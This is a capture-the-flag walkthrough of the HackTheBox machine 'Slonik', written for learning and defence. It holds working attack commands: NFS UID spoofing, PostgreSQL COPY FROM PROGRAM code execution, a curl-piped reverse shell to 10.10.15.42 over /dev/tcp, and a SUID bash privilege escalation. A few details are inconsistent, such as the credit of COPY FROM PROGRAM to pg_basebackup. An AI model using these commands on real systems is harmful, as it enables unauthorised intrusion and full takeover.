HTB: Slonik Writeup

Slonik - HackTheBox Writeup

Machine Information

AttributeDetails
NameSlonik
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Slonik is a Medium-difficulty Linux machine that demonstrates the dangers of misconfigurations in NFS share permissions, database exposure, and unattended backup automation. The attack chain begins by exploiting NFS’s trust-based UID/GID authentication to access a home directory containing PostgreSQL credentials and history files. These artifacts reveal a locally bound PostgreSQL socket that can be tunneled over SSH. Once connected to the database, PostgreSQL’s dangerous COPY FROM PROGRAM functionality is abused to achieve remote code execution as the postgres user. Privilege escalation is accomplished by monitoring scheduled tasks with pspy, identifying a root-executed backup script, and leveraging pg_basebackup’s behavior combined with SUID binary exploitation to gain root shell access.

TL;DR: Enumerate NFS → Discover UID/GID 1337 service directory → Extract PostgreSQL credentials from .psql_history → Tunnel socket over SSH → RCE via COPY FROM PROGRAM → Monitor processes with pspy → Exploit pg_basebackup + SUID bash binary → Root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial port enumeration
nmap -p- --min-rate=1000 -T4 10.129.234.160
# Detailed service enumeration on discovered ports
ports=$(nmap -p- --min-rate=1000 -T4 10.129.234.160 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.234.160

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 3 (RPC #100227)

Three open ports are identified: SSH on port 22, and NFS-related services on ports 111 (rpcbind) and 2049 (nfs_acl).

Service Enumeration

NFS Discovery

Terminal window
# Enumerate NFS shares and their contents
sudo nmap --script nfs* 10.129.234.160 -sV -p111,2049

The NFS enumeration reveals two exported shares:

  • /var/backups: Contains periodic ZIP archives with Read/Lookup permissions only
  • /home: Contains a service directory with UID/GID 1337 and permissions rwxr-x---

The NFS configuration uses wildcard exports (*), allowing any client to mount these shares.

Mounting NFS Shares

Terminal window
# Create mount point
mkdir slonik-nfs
sudo mount -t nfs 10.129.234.160:/ ./slonik-nfs -o nolock
# Attempt to access service directory (fails due to UID mismatch)
cd slonik-nfs/home/service
# Permission denied

Direct access to the service directory is denied because the local user’s UID/GID does not match the remote owner (1337).

Vulnerability Assessment

Key Vulnerabilities Identified:

  1. NFS UID/GID Trust Exploitation: NFS authentication relies entirely on client-side UID/GID claims. No cryptographic verification occurs, allowing privilege escalation through user creation.

  2. Exposed PostgreSQL History: The .psql_history file in the service home directory contains database credentials and commands in plaintext.

  3. PostgreSQL COPY FROM PROGRAM RCE: The pg_basebackup utility has dangerous functionality allowing arbitrary command execution with database user privileges.

  4. Unattended Root-Executed Backup Script: A periodically executed backup script runs as root without proper safeguards, creating a privilege escalation vector.

  5. SUID Binary Exploitation: pg_basebackup copies entire directory structures while preserving file permissions and SUID bits.


Initial Foothold

Step 1: NFS UID/GID Exploitation

Since NFS trusts client-side UID/GID mappings, we create a local user matching the remote UID/GID of 1337:

Terminal window
# Create a group and user with matching UID/GID
sudo groupadd -g 1337 service
sudo useradd -u 1337 -g 1337 -m -s /bin/bash service
sudo passwd service
# Set a password for the account
# Switch to the new user
su service
cd ~/slonik-nfs/home/service

Now we can access the service directory and enumerate its contents:

Terminal window
ls -la
# Output shows:
# -rw-r--r-- .bash_history
# -rw-r--r-- .bash_logout
# -rw-r--r-- .bashrc
# -rw-r--r-- .profile
# -rw-r--r-- .psql_history (interesting!)
# drwxrwxr-x .ssh

Step 2: Credential Extraction

Inspect the PostgreSQL history file:

Terminal window
cat .psql_history

Output reveals:

CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description) VALUES ('service', '<hash>', 'network access account');
select * from users;
\q

An MD5 hash is discovered. Using online crack services (CrackStation), the password is determined to be: service

Inspect bash history:

Terminal window
cat .bash_history
# Output shows:
# ls -lah /var/run/postgresql/
# file /var/run/postgresql/.s.PGSQL.5432
# psql -U postgres
# exit

This reveals the PostgreSQL Unix domain socket location at /var/run/postgresql/.s.PGSQL.5432.

Step 3: SSH Access and Socket Tunneling

Attempt direct SSH access with the discovered credentials:

Terminal window
ssh service@10.129.234.160
# Connection closes immediately after login
# This indicates account restrictions (likely /usr/sbin/nologin or similar)

Instead, tunnel the PostgreSQL Unix socket over SSH:

Terminal window
# From attacker machine, establish SSH port forwarding for the socket
ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
# Enter password: service
# Connection remains open in background

Step 4: PostgreSQL RCE via COPY FROM PROGRAM

Connect to PostgreSQL through the forwarded socket:

Terminal window
psql -h /tmp -U postgres

Verify database access and test command execution:

-- Test basic connectivity
\list
-- Shows postgres, service, and template databases
-- Create table for command output
CREATE TABLE cmd_exec(cmd_output text);
-- Execute system command via COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Retrieve output
SELECT * FROM cmd_exec;
-- Output: uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)

Step 5: Reverse Shell

Create and host a bash reverse shell script:

Terminal window
# On attacker machine
echo '#!/bin/bash
bash -i >& /dev/tcp/10.10.15.42/443 0>&1' > shell.sh
# Start HTTP server
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80
# Start netcat listener in another terminal
nc -lnvp 443

Fetch and execute the shell script from PostgreSQL:

-- Clean up previous table
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
-- Download and execute reverse shell
COPY cmd_exec FROM PROGRAM 'curl http://10.10.15.42/shell.sh | bash';

Receive the reverse connection:

Terminal window
# From netcat listener
connect to [10.10.15.42] from (UNKNOWN) [10.129.234.160] 49030
postgres@slonik:/var/lib/postgresql/14/main$

Upgrade to interactive PTY shell:

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'

User flag location: /var/lib/postgresql/user.txt


Privilege Escalation

Step 1: Process Monitoring with pspy

Download and execute pspy64 to identify privileged processes:

Terminal window
# On attacker machine
wget http://10.10.14.90/pspy64 -O pspy64
python3 -m http.server 8000
# On target machine
cd /tmp
wget http://10.10.15.42:8000/pspy64
chmod +x pspy64
./pspy64

Monitor output and observe:

2026/02/12 11:22:03 CMD: UID=0 PID=3844 | /bin/bash /usr/bin/backup
2026/02/12 11:22:04 CMD: UID=0 PID=3846 | /bin/bash /usr/bin/backup
2026/02/12 11:22:04 CMD: UID=0 PID=3847 | /bin/bash /usr/bin/backup
2026/02/12 11:22:04 CMD: UID=0 PID=3848 | /bin/bash /usr/bin/backup
2026/02/12 11:22:04 CMD: UID=0 PID=3849 | /bin/bash /usr/bin/backup

A script /usr/bin/backup is being executed repeatedly with UID=0 (root privileges).

Step 2: Backup Script Analysis

Examine the backup script:

Terminal window
cat /usr/bin/backup

Script contents:

#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi

Attack Surface:

  • pg_basebackup copies the entire PostgreSQL data directory (/var/lib/postgresql/14/main) to /opt/backups/current/
  • Files copied by a root-executed process become owned by root
  • SUID bits are preserved during the copy operation
  • We can place a SUID bash binary in the PostgreSQL data directory and wait for the backup to copy it with root ownership

Step 3: SUID Binary Exploitation

Create a SUID-enabled copy of bash in the PostgreSQL data directory:

Terminal window
cd /var/lib/postgresql/14/main
# Copy bash binary
cp /bin/bash nbash
# Set SUID bit and execute permissions
# 4755: 4 (setuid) + 755 (rwxr-xr-x)
chmod 4755 nbash
# Verify permissions
ls -la nbash
# -rwsr-xr-x 1 postgres postgres ...

Wait for the backup script to execute (typically runs on a cron schedule). When it runs, pg_basebackup copies the entire data directory:

Terminal window
# Monitor for backup execution
watch -n 1 'ls -la /opt/backups/current/ | grep nbash'
# Eventually see:
# -rwsr-xr-x 1 root root 1.4M Feb 12 12:38 nbash

Step 4: Root Shell

Execute the SUID bash binary with the -p flag to preserve elevated privileges:

Terminal window
/opt/backups/current/nbash -p
# Verify root access
id
# uid=115(postgres) gid=123(postgres) euid=0(root) groups=123(postgres),122(ssl-cert)
# Confirm root shell
whoami
# root

Root flag location: /root/root.txt


Attack Chain Summary

NFS Enumeration (UID/GID 1337)
Create Local User with UID/GID 1337
Access NFS /home/service Directory
Extract .psql_history (PostgreSQL Credentials)
SSH Socket Forwarding (/var/run/postgresql/.s.PGSQL.5432)
PostgreSQL Connection as postgres User
COPY FROM PROGRAM Command Execution
Reverse Shell as postgres User (RCE)
Process Monitoring with pspy64
Identify Root-Executed /usr/bin/backup Script
Analyze pg_basebackup Behavior (Copies Data Dir)
Create SUID bash Binary in PostgreSQL Data Directory
Wait for Backup Script Execution
pg_basebackup Copies SUID Binary with Root Ownership
Execute SUID Bash with -p Flag
Root Shell Access

Tools Used

ToolPurpose
nmapPort scanning and NFS enumeration via NSE scripts
mountMounting NFS shares locally
useradd / groupaddCreating users with matching UID/GID for NFS access
sshRemote access and socket forwarding
psqlPostgreSQL client for database interaction
curlDownloading reverse shell script
ncNetcat listener for reverse shell
python3HTTP server for file hosting and PTY upgrade
pspy64Process monitoring without root privileges
chmodSetting SUID permissions on binaries
pg_basebackupPostgreSQL backup utility (exploited indirectly)

Key Learnings

Techniques Practiced

  • NFS UID/GID Trust Exploitation: Abusing NFS’s client-side authentication by creating matching local user accounts
  • Unix Socket Forwarding: Tunneling Unix domain sockets over SSH for remote service access
  • PostgreSQL COPY FROM PROGRAM RCE: Leveraging dangerous PostgreSQL functionality for arbitrary command execution
  • Process Monitoring: Using pspy64 to identify privileged background tasks without root access
  • SUID Binary Exploitation: Understanding how SUID bits are preserved across file operations and creating privilege escalation chains
  • Backup Script Analysis: Identifying security flaws in automated system maintenance tasks
  • SSH Port Forwarding: Advanced SSH techniques for accessing services bound to localhost

Lessons Learned

  1. NFS is Trust-Based: Never export NFS shares without proper UID/GID mapping enforcement and authentication mechanisms. Consider using Kerberos-based NFS security.

  2. Shell History is Sensitive: Commands entered in interactive database sessions (.psql_history, .bash_history) can leak credentials and system architecture details. Implement proper shell history controls and periodic cleanup.

  3. Database Command Execution: Functions like PostgreSQL’s COPY FROM PROGRAM are extremely dangerous and should be disabled for unprivileged users. The principle of least privilege is critical.

  4. Monitor Privileged Processes: Backup and maintenance scripts executed as root must be audited carefully. Process monitoring tools like pspy can reveal attack vectors invisible to standard system monitoring.

  5. SUID Preservation in Backups: Tools that copy entire directory structures (pg_basebackup, tar, rsync) preserve file permissions including SUID bits. Ensure backup processes run with minimal privileges and operate on restricted directories.

  6. SSH Hardening: Accounts with restricted shells (nologin) should still be reviewed for other potential misuse vectors, such as SSH socket forwarding capabilities.

  7. Defense in Depth: This machine demonstrates how multiple misconfigurations (NFS + credentials + RCE + backup script + SUID) chain together for complete system compromise. Each individual control failure reduced overall security.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>